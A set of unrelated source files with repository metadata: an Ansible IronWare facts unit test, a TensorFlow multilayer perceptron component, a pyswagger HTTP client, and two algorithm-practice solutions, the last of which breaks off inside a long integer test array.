e8930236dbe18fffb17fe6b8fe61950997e6c864
26bd175ffb3bd204db5bcb70eec2e3dfd55fbe9f
/exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/modules/network/ironware/test_ironware_facts.py
e29b4db64b06c1907d83fd2341f728677407fc96
[ "GPL-3.0-only", "MIT", "CC0-1.0", "GPL-1.0-or-later" ]
permissive
tr3ck3r/linklight
37814ed19173d893cdff161355d70a1cf538239b
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
refs/heads/master
2021-04-11T04:33:02.727318
2020-03-25T17:38:41
2020-03-25T17:38:41
248,992,437
0
0
MIT
2020-03-21T14:26:25
2020-03-21T14:26:25
null
UTF-8
Python
false
false
4,806
py
# (c) 2016 Red Hat Inc. # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. # Make coding more python3-ish from __future__ import (absolute_import, division, print_function) __metaclass__ = type import json from ansible_collections.community.general.tests.unit.compat.mock import patch from ansible_collections.community.general.tests.unit.modules.utils import set_module_args from ansible_collections.community.general.plugins.modules.network.ironware import ironware_facts from ..ironware_module import TestIronwareModule, load_fixture class TestIronwareFacts(TestIronwareModule): module = ironware_facts def setUp(self): super(TestIronwareFacts, self).setUp() self.mock_run_commands = patch( 'ansible_collections.community.general.plugins.modules.network.ironware.ironware_facts.run_commands') self.run_commands = self.mock_run_commands.start() def tearDown(self): super(TestIronwareFacts, self).tearDown() self.mock_run_commands.stop() def load_fixtures(self, commands=None): def load_from_file(*args, **kwargs): module, commands = args output = list() for item in commands: try: obj = json.loads(item) command = obj['command'] except ValueError: command = item filename = str(command).split(' | ')[0].replace(' ', '_').replace('/', '7') output.append(load_fixture(filename)) return output self.run_commands.side_effect = load_from_file def test_ironware_facts_gather_subset_default(self): set_module_args(dict()) result = self.execute_module() ansible_facts = result['ansible_facts'] self.assertIn('hardware', ansible_facts['ansible_net_gather_subset']) self.assertIn('default', ansible_facts['ansible_net_gather_subset']) self.assertIn('interfaces', ansible_facts['ansible_net_gather_subset']) self.assertEqual(['/flash/'], ansible_facts['ansible_net_filesystems']) self.assertIn('1/1', ansible_facts['ansible_net_interfaces'].keys()) self.assertIn('10.69.1.6', ansible_facts['ansible_net_all_ipv4_addresses']) self.assertIn('2001:db8::1', ansible_facts['ansible_net_all_ipv6_addresses']) self.assertIn('ansible_net_neighbors', ansible_facts) self.assertIn('1/2', ansible_facts['ansible_net_neighbors'].keys()) self.assertEqual(4096, ansible_facts['ansible_net_memtotal_mb']) self.assertEqual(3630, ansible_facts['ansible_net_memfree_mb']) self.assertEqual('5.8.0fT163', ansible_facts['ansible_net_version']) self.assertEqual('MLXe 4-slot Chassis', ansible_facts['ansible_net_model']) self.assertEqual('BGD2503J01F', ansible_facts['ansible_net_serialnum']) def test_ironware_facts_gather_subset_config(self): set_module_args({'gather_subset': 'config'}) result = self.execute_module() ansible_facts = result['ansible_facts'] self.assertIn('default', ansible_facts['ansible_net_gather_subset']) self.assertIn('config', ansible_facts['ansible_net_gather_subset']) self.assertIn('ansible_net_config', ansible_facts) def test_ironware_facts_gather_subset_mpls(self): set_module_args({'gather_subset': 'mpls'}) result = self.execute_module() ansible_facts = result['ansible_facts'] self.assertIn('default', ansible_facts['ansible_net_gather_subset']) self.assertIn('mpls', ansible_facts['ansible_net_gather_subset']) self.assertIn('ansible_net_mpls_lsps', ansible_facts) self.assertIn('ansible_net_mpls_vll', ansible_facts) self.assertIn('ansible_net_mpls_vll_local', ansible_facts) self.assertIn('ansible_net_mpls_vpls', ansible_facts) self.assertIn('LSP1', ansible_facts['ansible_net_mpls_lsps'].keys()) self.assertIn('TEST-VLL', ansible_facts['ansible_net_mpls_vll'].keys()) self.assertIn('TEST-LOCAL', ansible_facts['ansible_net_mpls_vll_local'].keys()) self.assertIn('TEST-VPLS', ansible_facts['ansible_net_mpls_vpls'].keys())
2e733eb8587c4253faf3b6e89cc778fd0e48feb9
8bccc05fcb3cfc6ed93991927a514a96f53f7ec0
/old_version/candidate_selection/tensorflow_models/components/vector_encoders/multilayer_perceptron.py
0ea714aca10a4f774d400220f89e347aca98eb8a
[ "MIT" ]
permissive
afcarl/QuestionAnsweringGCN
54101c38549405d65ef22e38fed9e5bd58122ada
e9c1987b40a553f0619fa796f692c8880de32846
refs/heads/master
2020-03-20T10:35:55.729170
2018-06-07T11:45:12
2018-06-07T11:45:12
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,082
py
import numpy as np import tensorflow as tf from candidate_selection.tensorflow_models.components.abstract_component import AbstractComponent class MultilayerPerceptron(AbstractComponent): transforms = None variable_prefix = None variables = None weights = None biases = None l2_scale = None dropout_rate=None def __init__(self, transforms, variables, variable_prefix="", l2_scale=0.0, dropout_rate=0.0): self.transforms = transforms self.variable_prefix = variable_prefix if self.variable_prefix != "": self.variable_prefix += "_" self.variables = variables self.weights = [None]*(len(transforms)-1) self.biases = [None]*(len(transforms)-1) self.l2_scale=l2_scale self.dropout_rate=dropout_rate def prepare_tensorflow_variables(self, mode="train"): for i in range(len(self.transforms)-1): dim_1 = self.transforms[i] dim_2 = self.transforms[i+1] glorot_variance = np.sqrt(6)/np.sqrt(dim_1 + dim_2) weight_initializer = np.random.uniform(-glorot_variance, glorot_variance, size=(dim_1, dim_2)).astype(np.float32) bias_initializer = np.zeros(dim_2, dtype=np.float32) self.weights[i] = tf.Variable(weight_initializer, name=self.variable_prefix + "_W" + str(i)) self.biases[i] = tf.Variable(bias_initializer, name=self.variable_prefix + "_b" + str(i)) def transform(self, vectors, mode="train"): for i in range(len(self.transforms)-1): if mode == "train" and self.dropout_rate > 0: vectors = tf.nn.dropout(vectors, 1-self.dropout_rate) vectors = tf.matmul(vectors, self.weights[i]) + self.biases[i] if i < len(self.transforms) - 2: vectors = tf.nn.relu(vectors) return vectors def get_regularization_term(self): return self.l2_scale * tf.reduce_sum([tf.reduce_sum(tf.square(w)) for w in self.weights]) def handle_variable_assignment(self, batch, mode): pass
c2530ceda5d20dbbc5a7f5eb0707c0cf79756021
7ac2ba90f973f5230a046cc7b72ad3056554e6d4
/pyswagger/contrib/client/requests.py
8e877e11173c27eed403ecefc6924002f3e45f9e
[ "MIT" ]
permissive
larscwallin/pyswagger
1d38faef430dfc5c4ccb0e288541544248eb3326
1e07d52d0ce342b7183319ebc9c1ddc51a78577e
refs/heads/master
2020-02-26T13:27:51.525526
2014-10-22T11:01:26
2014-10-22T11:01:26
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,333
py
from __future__ import absolute_import from ...core import BaseClient from requests import Session, Request import six class Client(BaseClient): """ Client implementation based on requests """ def __init__(self, auth=None): """ """ super(Client, self).__init__(auth) self.__s = Session() def request(self, req_and_resp, opt={}): """ """ req, resp = super(Client, self).request(req_and_resp, opt) # apply request-related options before preparation. req.prepare(handle_files=False) # prepare for uploaded files file_obj = {} for k, v in six.iteritems(req.files): f = v.data or open(v.filename, 'rb') if 'Content-Type' in v.header: file_obj[k] = (v.filename, f, v.header['Content-Type']) else: file_obj[k] = (v.filename, f) rq = Request( method=req.method, url=req.url, params=req.query, data=req.data, headers=req.header, files=file_obj ) rq = self.__s.prepare_request(rq) rs = self.__s.send(rq) resp.apply_with( status=rs.status_code, header=rs.headers, raw=rs.text ) return resp
3e299aab3601833fdc7272c15795f37dbf3e61b9
255021fadf9f739db042809ca95f5b9f75609ec5
/D3/3376 파도반 수열.py
f2c65b6a4faecf7ea3da169bf4c90873e1a40770
[]
no_license
unsung107/Algorithm_study
13bfff518fc1bd0e7a020bb006c88375c9ccacb2
fb3b8563bae7640c52dbe9324d329ca9ee981493
refs/heads/master
2022-12-13T02:10:31.173333
2020-09-13T11:32:10
2020-09-13T11:32:10
295,137,458
0
0
null
null
null
null
UTF-8
Python
false
false
340
py
padoban = [] for i in range(100): if i <= 2: padoban.append(1) elif i <= 4: padoban.append(2) else: padoban.append(padoban[i - 1] + padoban[i - 5]) results = [] for rounds in range(int(input())): num = int(input()) results.append(f'#{rounds + 1} {padoban[num - 1]}') print('\n'.join(results))
d120af91880a53f8918e9093dbf577db62dbec94
b59e093876a78054bf58ae16fa245bace5d924a2
/maxScoreSightseeingPair.py
36b9b1671edb6621285ca0e34a6d90dbde65d895
[]
no_license
NeilWangziyu/Leetcode_py
539551585413e1eebd6e6175ba3105c6bc17e943
4105e18050b15fc0409c75353ad31be17187dd34
refs/heads/master
2020-04-08T03:50:05.904466
2019-10-15T07:13:49
2019-10-15T07:13:49
158,991,828
2
0
null
null
null
null
UTF-8
Python
false
false
28,622
py
class Solution: def maxScoreSightseeingPair(self, A): if not A: return 0 if len(A)<2: return 0 res = 0 for i in range(len(A)): for j in range(i+1, len(A)): score = A[i] + A[j] + i - j if score > res: res = score print(score, i, j,A[i], A[j]) return res def maxScoreSightseeingPair2(self, A): """ 双指针 :param A: :return: """ if not A: return 0 if len(A)<2: return 0 ans = A[0] + A[1] - 1 s = max(A[0], A[1] + 1) for j in range(2, len(A)): ans = max(ans, s + A[j] - j) s = max(s, A[j] + j) return ans def maxScoreSightseeingPair3(self, A): """ 双指针 :param A: :return: """ if not A: return 0 if len(A)<2: return 0 low = A[0] res = 0 for i in range(1, len(A)): if low + A[i] - i > res: res = low + A[i] - i if A[i] + i > low: low = A[i] + i return res if __name__ == "__main__": A = [509,614,349,955,828,259,470,418,934,630,243,91,426,687,495,48,203,321,805,835,4,915,723,799,869,49,596,974,534,787,835,853,622,46,459,954,348,391,136,406,597,48,113,434,855,523,576,962,19,132,446,965,238,894,280,238,416,742,713,833,429,191,289,292,649,725,584,953,576,894,251,222,472,129,922,201,856,685,259,836,87,690,778,123,975,116,576,197,740,997,573,356,203,281,334,651,521,287,410,175,977,853,336,813,148,298,667,829,235,764,62,133,551,125,106,512,439,998,200,32,472,761,135,284,284,495,313,406,768,226,945,215,513,207,739,721,834,213,66,226,496,381,72,853,310,346,724,858,826,110,650,902,357,325,904,655,954,181,778,143,322,930,655,584,146,879,633,520,649,767,65,240,893,899,499,884,646,568,308,343,357,98,883,549,590,781,756,673,769,495,176,380,156,116,122,149,888,877,50,899,82,618,977,402,782,309,221,75,699,570,977,408,501,390,19,70,345,713,38,199,399,709,983,501,408,633,40,901,968,676,731,70,267,76,159,733,855,35,698,529,937,722,330,461,892,596,903,775,307,110,52,254,598,649,319,572,420,916,267,804,40,852,370,483,858,617,859,302,979,390,889,595,610,844,920,350,284,113,271,119,645,599,425,432,560,476,44,785,50,452,225,870,583,790,141,444,976,191,314,622,481,503,350,56,946,597,726,116,105,156,30,397,105,259,703,754,573,949,937,571,459,311,254,952,47,815,258,157,141,41,439,683,658,834,921,515,474,22,921,268,319,298,297,87,651,482,481,226,548,266,748,995,37,1,585,983,182,681,142,506,3,299,84,902,514,67,243,788,962,852,517,639,698,39,235,772,543,90,948,683,800,339,359,696,396,441,893,358,547,519,469,875,457,655,717,370,326,622,944,315,226,665,424,414,462,486,57,78,525,627,90,671,793,608,554,861,674,301,249,376,77,418,866,237,275,130,659,955,168,53,595,309,23,759,540,478,600,696,311,948,946,429,845,813,921,147,685,419,467,240,538,801,919,578,516,503,709,367,210,64,785,634,384,497,575,62,381,153,208,603,131,787,289,291,310,187,814,515,811,583,950,139,509,840,126,301,8,995,800,186,413,133,598,50,322,584,642,297,924,284,151,403,54,921,944,132,819,441,749,524,825,397,589,470,440,64,49,174,490,531,512,443,838,974,463,832,800,703,368,521,194,699,246,924,428,899,228,139,172,766,29,403,110,113,58,50,874,751,208,724,596,626,619,727,552,94,78,143,259,696,819,330,275,267,9,43,804,756,648,697,150,795,893,810,944,469,181,665,775,739,841,278,879,531,929,322,434,369,245,936,421,803,136,521,1000,226,601,560,840,457,179,309,10,62,445,619,431,152,757,576,981,560,279,221,874,996,681,282,229,829,410,677,62,623,320,570,22,326,817,40,866,380,667,955,621,654,397,315,193,916,539,344,455,128,337,636,254,622,525,142,20,838,889,192,244,695,635,670,203,362,559,443,604,92,297,140,460,926,871,790,115,293,401,120,319,299,867,907,259,706,357,670,626,718,608,412,699,27,36,155,453,103,105,882,21,460,585,214,490,577,180,424,99,245,784,19,630,511,398,430,301,403,803,947,606,910,742,517,539,165,832,174,97,178,925,639,277,672,142,901,142,705,425,38,473,570,519,236,847,304,314,633,332,518,572,267,533,297,72,763,903,790,281,15,13,503,122,784,257,263,444,255,303,263,226,320,536,841,777,754,295,953,7,287,173,638,229,106,632,870,622,531,851,115,939,116,5,956,655,172,981,699,182,463,546,225,631,944,31,854,883,23,365,954,634,39,171,230,677,76,672,824,191,571,306,561,548,687,794,637,800,458,776,842,229,235,935,707,706,624,991,887,837,172,832,712,133,281,734,317,291,655,138,224,207,716,290,609,162,825,848,985,116,779,774,258,487,776,177,360,483,698,856,595,649,744,637,770,927,890,124,35,917,141,70,457,257,796,418,792,181,751,347,610,695,857,135,615,121,745,838,351,424,553,635,380,731,88,182,650,468,213,390,36,741,299,844,214,460,318,78,765,650,160,838,349,237,499,716,483,656,835,305,2,992,733,326,469,272,97,504,911,83,355,284,586,246,346,246,10,711,91,124,671,902,540,943,384,776,203,365,645,421,735,519,60,114,958,723,461,251,380,600,852,696,343,364,171,110,918,296,157,357,615,373,788,236,285,8,275,623,249,340,402,442,331,270,717,287,12,564,372,743,31,938,787,824,203,343,988,625,554,9,639,694,635,503,753,867,367,544,572,11,753,216,914,33,251,469,467,559,736,485,49,320,440,850,56,989,810,24,303,625,58,206,1000,720,653,183,728,810,218,723,447,558,342,788,380,529,859,474,989,950,199,171,368,847,126,116,976,176,394,228,858,565,420,563,661,419,603,694,804,827,475,360,902,364,652,958,663,304,588,417,201,608,37,377,816,14,333,28,1,459,555,647,887,948,164,592,736,932,319,383,365,788,401,590,415,903,279,337,830,134,567,469,581,61,556,528,16,991,890,577,319,225,510,555,76,923,284,190,862,777,375,718,19,43,992,640,642,596,925,1000,25,54,573,15,594,309,21,959,793,441,290,60,950,730,608,361,407,66,731,639,149,685,502,213,30,830,701,232,683,816,542,325,4,147,352,259,530,515,20,534,246,490,386,72,651,419,99,208,306,875,616,132,21,966,868,102,968,120,601,266,626,846,663,72,705,310,326,846,371,89,216,393,999,145,800,329,485,332,801,801,435,765,753,319,719,750,825,749,552,33,750,999,538,195,621,523,118,172,827,4,197,75,357,416,878,52,902,622,710,73,145,492,833,485,477,960,776,386,508,402,754,321,775,328,330,467,614,443,33,903,499,631,338,761,796,229,519,765,997,978,558,149,609,743,625,219,331,522,769,30,69,569,726,280,603,422,613,876,92,931,768,839,735,51,183,480,910,469,365,949,365,392,263,41,167,648,610,212,322,575,391,616,218,174,867,883,569,718,352,91,168,337,948,386,449,868,229,624,816,815,909,555,52,863,246,682,124,415,305,160,982,623,955,645,283,220,331,609,973,534,839,89,943,747,927,860,293,794,699,418,803,294,988,380,852,258,928,227,896,885,284,106,378,266,957,830,473,548,686,263,500,921,203,75,6,642,692,332,428,541,371,21,850,926,191,675,716,775,887,361,932,948,52,144,859,866,531,34,443,772,62,809,899,754,135,265,788,579,682,780,543,355,690,163,534,352,882,527,759,407,944,469,845,427,14,819,920,619,968,94,175,432,284,530,468,935,800,584,228,164,556,470,770,887,581,538,960,378,126,152,326,34,169,964,489,454,642,757,162,574,880,977,77,425,499,868,176,239,85,423,2,578,441,850,354,588,570,746,638,139,732,740,575,291,736,706,743,892,633,717,278,407,489,605,306,23,718,716,198,651,521,170,87,676,997,572,870,864,725,544,765,125,699,76,382,355,258,308,391,15,24,146,575,106,671,726,932,336,436,893,63,446,766,849,854,903,292,377,84,269,636,672,172,123,508,15,198,858,972,135,872,140,343,950,248,401,387,116,331,370,525,902,466,664,842,479,438,633,90,511,507,926,845,496,688,355,658,795,254,52,664,286,52,960,986,990,839,502,506,295,720,847,720,629,789,55,650,427,64,938,338,670,165,704,363,192,880,153,45,906,543,850,473,835,829,409,961,91,314,968,542,93,243,854,74,712,351,521,959,138,983,516,865,876,906,280,38,971,500,53,659,769,525,276,213,172,735,725,36,969,759,830,565,433,552,513,160,116,212,179,449,256,429,479,716,397,404,757,20,961,510,197,902,575,777,956,393,512,750,485,375,269,520,622,74,890,438,872,277,335,491,776,770,429,560,794,191,840,910,799,166,721,86,55,192,673,401,645,429,225,660,730,561,74,806,759,51,263,310,842,249,520,943,306,468,80,864,668,708,930,731,208,645,486,260,686,536,713,649,276,460,909,736,459,775,88,359,804,999,574,951,45,228,442,509,409,840,750,55,217,28,631,683,784,593,202,887,391,229,660,353,559,219,809,577,245,281,706,161,940,669,512,122,729,10,332,630,80,445,664,27,971,323,517,405,414,910,347,827,806,98,250,207,174,545,708,690,598,263,479,854,484,994,727,577,862,351,197,307,35,183,600,794,789,416,776,757,406,31,826,446,119,843,819,620,818,589,611,460,833,763,758,610,549,442,740,345,655,192,900,103,702,499,243,661,34,406,151,768,273,62,791,765,974,134,424,396,481,43,170,505,56,184,419,587,888,318,763,104,553,289,449,119,280,395,919,709,132,162,739,298,293,621,670,889,962,160,739,663,349,16,16,548,853,173,534,29,178,269,558,636,245,564,508,604,914,989,504,249,815,860,356,636,821,648,197,117,623,991,639,152,890,746,763,207,30,211,237,758,591,171,490,519,829,385,28,672,693,161,868,933,310,944,633,129,822,279,147,312,865,129,451,831,966,821,429,935,893,27,749,274,607,172,19,174,612,324,851,699,214,387,99,17,960,688,311,628,775,344,411,228,362,24,310,810,930,666,627,447,741,827,845,163,985,256,924,793,255,14,251,147,785,211,131,229,370,890,507,523,366,383,444,831,16,206,16,872,697,751,976,154,297,920,653,774,170,699,143,686,299,105,820,66,45,423,136,311,637,76,782,560,439,164,234,225,917,208,610,769,659,569,496,181,626,110,983,394,71,527,665,51,383,211,161,617,413,696,268,216,650,812,280,82,733,653,803,864,838,907,671,918,98,235,578,353,321,498,589,909,503,775,327,607,929,567,807,326,46,503,119,84,942,397,103,383,801,226,856,851,907,217,221,726,304,166,574,8,61,250,371,273,730,538,833,699,584,770,744,559,485,939,930,670,388,701,638,998,657,428,280,700,695,165,748,288,5,236,642,516,391,603,614,797,244,973,221,959,409,211,540,346,159,555,504,599,254,246,125,343,261,710,445,481,98,594,646,145,776,760,293,333,125,973,639,279,171,629,924,850,925,342,666,620,872,896,151,955,489,357,899,111,647,183,801,966,641,265,38,800,524,147,121,625,536,552,674,706,235,883,467,712,748,166,119,637,710,483,177,591,357,645,66,787,820,130,396,791,476,927,516,928,556,120,632,596,281,68,304,392,204,247,884,982,911,68,825,468,965,763,384,99,179,60,429,253,927,22,805,88,323,431,259,798,524,476,429,12,966,524,98,560,758,469,210,622,967,339,979,176,799,462,821,993,786,819,519,730,402,135,717,640,883,379,961,553,818,173,934,829,892,448,828,206,818,130,268,641,977,439,620,73,564,787,234,283,823,733,660,731,70,92,239,395,409,793,395,712,727,996,238,392,544,575,137,660,772,608,471,637,802,813,338,225,936,824,565,963,83,469,491,688,769,337,428,582,758,938,340,639,390,478,695,589,738,84,676,616,201,871,181,270,624,287,89,683,690,919,564,874,971,981,219,415,629,834,335,946,97,809,547,18,789,118,981,697,803,47,657,118,607,780,270,935,59,974,386,403,354,716,394,542,888,511,23,192,584,286,795,630,811,12,886,802,156,444,678,533,539,862,279,236,631,514,42,316,113,305,463,264,540,368,709,274,293,204,330,226,272,574,530,855,633,937,182,401,465,615,542,804,169,741,276,276,696,157,412,484,711,623,404,585,748,489,211,906,903,958,412,484,804,977,800,395,538,623,467,504,351,912,404,379,841,474,999,71,838,362,563,48,661,488,861,835,261,762,699,269,196,215,42,470,565,742,951,362,380,75,861,128,97,196,876,354,109,82,253,758,906,717,181,334,134,790,219,950,974,781,631,452,620,140,813,861,562,67,143,616,460,905,475,551,948,150,216,692,870,400,804,966,519,202,805,859,817,952,261,143,637,281,848,157,467,57,66,696,498,524,145,89,702,378,318,195,787,208,450,550,574,139,437,592,743,878,854,819,244,132,696,130,239,649,420,68,860,310,776,555,673,630,338,86,847,57,791,917,98,405,643,979,161,465,233,141,159,307,61,740,591,481,752,184,232,762,794,340,145,888,8,766,517,804,469,917,878,420,872,124,107,199,279,577,861,496,234,402,49,49,820,793,847,655,165,818,983,634,222,844,281,282,20,212,477,354,172,13,700,818,369,667,433,214,39,157,592,561,464,507,749,337,523,854,686,51,105,777,759,133,23,401,141,499,295,196,400,266,946,881,912,559,530,986,831,776,320,754,405,738,460,83,445,658,501,540,950,332,875,70,648,732,50,145,213,795,32,590,309,534,270,2,2,958,264,806,141,288,581,887,340,979,328,183,383,336,95,903,587,252,990,120,739,242,325,944,322,411,561,312,304,671,605,712,355,101,555,754,659,527,827,483,745,596,441,34,475,863,877,802,328,289,426,942,879,653,594,324,449,762,225,565,420,139,158,919,230,163,804,37,735,944,439,651,526,704,717,673,675,77,683,227,84,453,159,505,128,907,297,20,500,957,362,249,854,486,573,292,987,464,22,340,98,238,724,749,440,56,423,517,471,834,770,631,283,657,716,907,745,426,903,653,686,539,307,903,434,366,230,571,824,208,312,283,583,669,882,434,878,860,421,935,474,647,642,326,557,758,888,374,572,395,384,832,837,123,540,181,125,671,331,331,634,188,589,595,576,50,743,578,584,601,194,605,683,626,633,503,916,116,407,281,756,320,508,297,549,250,12,26,615,472,263,236,401,829,694,630,322,176,170,323,367,843,226,474,162,868,324,605,742,188,350,578,344,244,943,595,820,29,372,82,450,577,648,140,746,203,469,497,560,192,696,278,496,642,112,264,61,578,66,157,636,560,199,424,320,367,376,871,514,327,596,774,950,861,224,903,916,642,762,195,584,129,270,655,726,390,759,165,644,625,53,974,335,102,999,569,256,718,149,995,322,581,582,503,895,287,331,945,46,604,280,174,862,763,612,830,655,875,813,763,841,201,691,358,843,697,60,615,279,385,706,306,48,951,245,253,681,686,625,218,48,931,49,461,201,828,269,641,712,334,168,657,204,489,524,192,320,22,283,38,884,522,94,327,637,414,596,537,982,357,808,646,733,869,877,438,983,805,644,900,148,142,31,832,117,584,366,353,883,486,770,229,792,297,571,162,946,911,186,314,677,851,645,302,109,266,624,640,122,697,837,636,627,440,490,578,841,246,187,70,151,211,531,850,561,805,983,548,245,271,997,835,337,423,883,227,660,814,825,473,892,621,751,517,208,451,722,185,679,450,336,266,996,580,957,603,532,131,284,40,449,60,462,626,624,763,40,668,575,18,311,990,872,990,340,389,88,299,313,806,141,895,115,293,137,533,430,828,573,528,502,159,633,686,32,669,940,570,780,812,752,519,488,489,157,847,337,696,592,837,83,380,94,926,492,71,678,564,94,655,375,784,762,577,95,518,61,813,288,842,864,620,325,207,182,592,481,86,37,749,45,134,356,455,229,410,483,120,471,178,430,124,139,249,962,31,120,482,26,352,883,348,710,755,161,290,246,812,319,38,210,965,643,958,307,352,951,750,229,443,463,819,722,247,820,534,302,156,921,399,217,186,828,133,938,160,681,490,292,606,641,625,785,79,531,574,946,930,258,405,589,122,192,21,433,905,173,198,504,406,466,658,501,19,430,44,595,227,599,513,917,985,369,360,840,422,251,530,4,843,163,448,642,793,60,153,44,275,735,61,292,984,2,451,501,982,363,368,211,32,892,702,44,472,383,524,723,584,245,797,993,113,567,825,203,698,13,347,834,788,314,100,823,669,981,850,587,598,890,608,698,843,327,870,158,782,622,601,389,797,403,615,156,582,175,718,206,587,679,429,447,934,876,683,687,233,389,767,923,192,228,361,705,457,774,384,466,161,69,41,488,833,3,356,766,57,476,509,2,921,460,96,46,844,32,837,478,334,362,697,109,693,883,447,859,417,663,882,728,99,209,838,663,459,786,213,778,948,908,323,899,278,516,633,513,753,950,706,854,743,508,435,1,925,71,345,139,474,21,850,526,660,722,587,822,316,139,386,820,699,48,604,171,130,292,106,170,797,779,247,215,641,1000,823,870,143,741,302,531,264,897,530,320,416,937,148,34,459,303,659,269,241,353,213,754,823,133,875,580,594,165,255,844,802,947,4,539,652,873,421,304,58,515,545,169,215,674,968,380,43,396,814,336,498,647,804,902,792,245,488,448,387,839,545,227,873,933,335,202,657,874,270,92,832,465,193,672,376,689,263,710,960,727,512,42,693,276,338,114,114,173,550,945,876,934,146,275,375,273,682,842,97,606,843,469,224,146,622,818,281,671,63,163,541,466,119,726,266,493,196,869,327,31,922,268,941,251,843,689,637,407,271,820,7,486,325,409,813,860,294,99,926,919,101,56,419,754,887,422,252,327,219,92,72,787,519,451,599,712,343,595,388,309,675,333,37,275,838,185,16,630,88,445,230,47,860,736,791,551,617,602,421,1000,519,587,87,328,773,442,976,860,307,402,720,793,911,996,512,57,482,159,557,436,519,189,875,6,359,942,526,308,678,621,811,535,897,546,808,784,572,921,734,157,799,381,499,103,453,140,606,221,226,957,274,927,6,427,976,798,775,172,613,658,48,710,235,457,307,601,652,168,203,912,789,645,697,559,70,804,349,169,887,439,600,457,936,494,368,2,607,793,38,106,385,993,913,875,270,843,402,968,51,731,278,441,199,907,272,980,672,839,497,766,530,210,882,555,288,854,778,432,170,97,551,646,692,479,385,848,846,478,703,946,238,778,410,874,443,410,681,634,77,553,100,820,413,519,109,265,621,826,88,661,417,915,94,547,520,672,549,423,138,213,870,867,236,447,725,958,37,278,14,805,112,189,671,468,708,954,679,829,697,863,239,65,985,450,353,459,417,851,602,124,63,79,99,60,178,17,532,857,419,951,515,978,699,131,635,767,906,635,994,252,677,655,982,48,587,21,365,155,75,271,999,964,141,844,994,872,535,99,529,295,793,310,402,236,473,997,106,421,946,780,107,104,37,182,476,184,995,332,500,208,737,612,355,992,788,824,747,820,188,433,422,880,368,541,60,957,673,881,181,386,585,954,369,412,259,374,412,873,487,3,652,217,376,345,308,435,876,838,583,6,173,20,237,29,556,330,997,790,162,540,902,591,463,907,814,948,532,625,618,156,130,150,57,785,916,624,732,392,488,93,483,358,881,748,142,882,772,534,690,594,235,964,588,399,293,647,544,259,412,918,535,945,61,154,81,131,491,367,430,65,779,782,522,758,685,533,427,294,802,379,128,718,431,104,554,902,834,864,872,118,324,118,547,612,556,965,333,525,890,899,505,501,968,781,603,109,565,232,907,594,10,405,533,413,693,405,914,978,170,128,483,770,981,479,886,173,843,573,587,208,566,339,469,243,866,866,806,373,193,944,856,610,326,199,126,452,587,234,259,114,894,109,813,634,921,171,379,511,428,293,210,797,458,532,714,334,445,243,193,110,965,112,321,101,385,144,714,23,375,800,744,260,717,770,555,564,906,865,587,390,456,421,90,615,530,912,685,36,287,527,548,374,70,159,246,449,678,882,807,45,997,566,816,920,998,649,939,750,220,228,750,784,885,301,573,377,540,68,747,566,726,259,174,178,470,55,91,840,72,378,512,860,935,845,782,289,342,770,156,290,603,500,483,906,719,920,333,281,939,959,650,831,897,163,553,425,460,67,316,257,757,207,763,607,122,661,130,934,944,789,749,266,569,818,681,84,784,790,257,427,24,181,663,4,59,877,399,105,324,532,684,52,642,433,660,580,61,342,209,700,466,248,994,344,7,4,474,404,793,911,144,792,206,748,834,778,880,831,268,421,8,66,365,896,456,724,705,290,818,362,825,781,822,637,389,686,152,328,132,158,560,314,515,122,851,3,596,484,157,425,355,987,419,597,206,688,486,308,198,373,469,138,103,704,110,711,669,988,163,983,552,423,960,395,996,128,507,130,803,702,792,21,483,36,329,340,967,797,786,224,415,524,915,609,301,756,502,196,811,624,343,220,11,228,22,44,997,253,827,534,731,616,235,295,80,148,788,264,399,546,381,681,593,609,111,779,311,763,452,140,554,45,948,277,104,998,12,77,725,411,319,426,222,639,488,446,774,588,822,588,407,288,692,654,120,942,497,19,624,25,374,669,849,102,454,19,295,714,978,908,971,169,389,800,975,295,54,330,624,325,877,370,270,401,816,294,273,472,46,542,289,964,233,899,37,705,408,812,828,732,751,486,423,730,361,4,369,121,37,593,777,820,678,762,8,476,129,47,316,888,258,45,287,540,394,51,176,227,604,434,989,689,961,823,232,120,356,252,577,478,608,586,178,584,775,869,723,890,439,601,95,143,515,596,436,37,750,603,165,585,710,991,670,239,79,302,231,960,326,551,866,547,500,778,301,501,283,489,249,335,709,817,177,958,887,709,698,705,919,633,888,207,381,707,735,379,826,495,428,660,387,53,57,311,587,91,123,717,943,683,738,437,768,820,398,364,867,480,647,593,132,708,589,820,693,645,727,576,286,564,546,306,270,44,954,384,226,814,697,440,477,896,306,105,579,114,954,873,272,624,593,852,583,342,199,178,382,31,834,724,865,945,749,510,594,336,351,570,268,834,169,796,54,210,216,315,571,611,549,94,430,908,938,298,629,802,931,827,681,961,428,21,383,487,839,213,189,212,129,908,11,251,534,357,934,474,896,388,109,184,20,197,483,748,38,91,185,434,420,701,376,637,57,772,415,393,831,631,914,655,852,173,200,159,203,229,640,934,695,932,941,662,314,549,652,157,455,647,661,945,998,808,862,632,199,150,947,333,768,257,62,797,7,889,683,990,530,872,973,50,941,610,347,259,823,556,547,34,583,377,378,110,563,461,73,41,501,606,329,680,788,967,875,908,549,911,217,742,843,670,269,621,497,406,261,94,29,231,926,947,50,761,186,751,935,1000,738,337,881,116,388,72,916,691,71,85,619,342,760,449,147,544,353,94,826,895,687,972,509,927,971,222,871,935,740,364,44,454,848,126,746,83,684,374,341,963,936,186,100,978,431,566,462,301,799,571,360,990,498,332,755,615,870,78,765,811,165,897,651,389,703,965,210,190,325,107,609,120,4,309,279,577,252,714,350,721,366,776,153,101,833,508,738,726,745,199,481,55,55,920,266,463,811,805,604,656,969,697,602,987,138,731,182,196,157,281,80,619,913,37,469,262,125,403,957,360,225,619,410,458,653,83,4,941,751,320,476,835,165,602,51,334,355,766,883,404,837,249,352,295,610,953,537,131,688,307,856,530,866,750,717,924,547,868,354,365,307,469,643,915,413,293,951,844,792,517,200,962,309,398,116,534,561,97,6,966,561,472,91,994,345,424,499,217,5,503,770,407,732,521,697,186,691,76,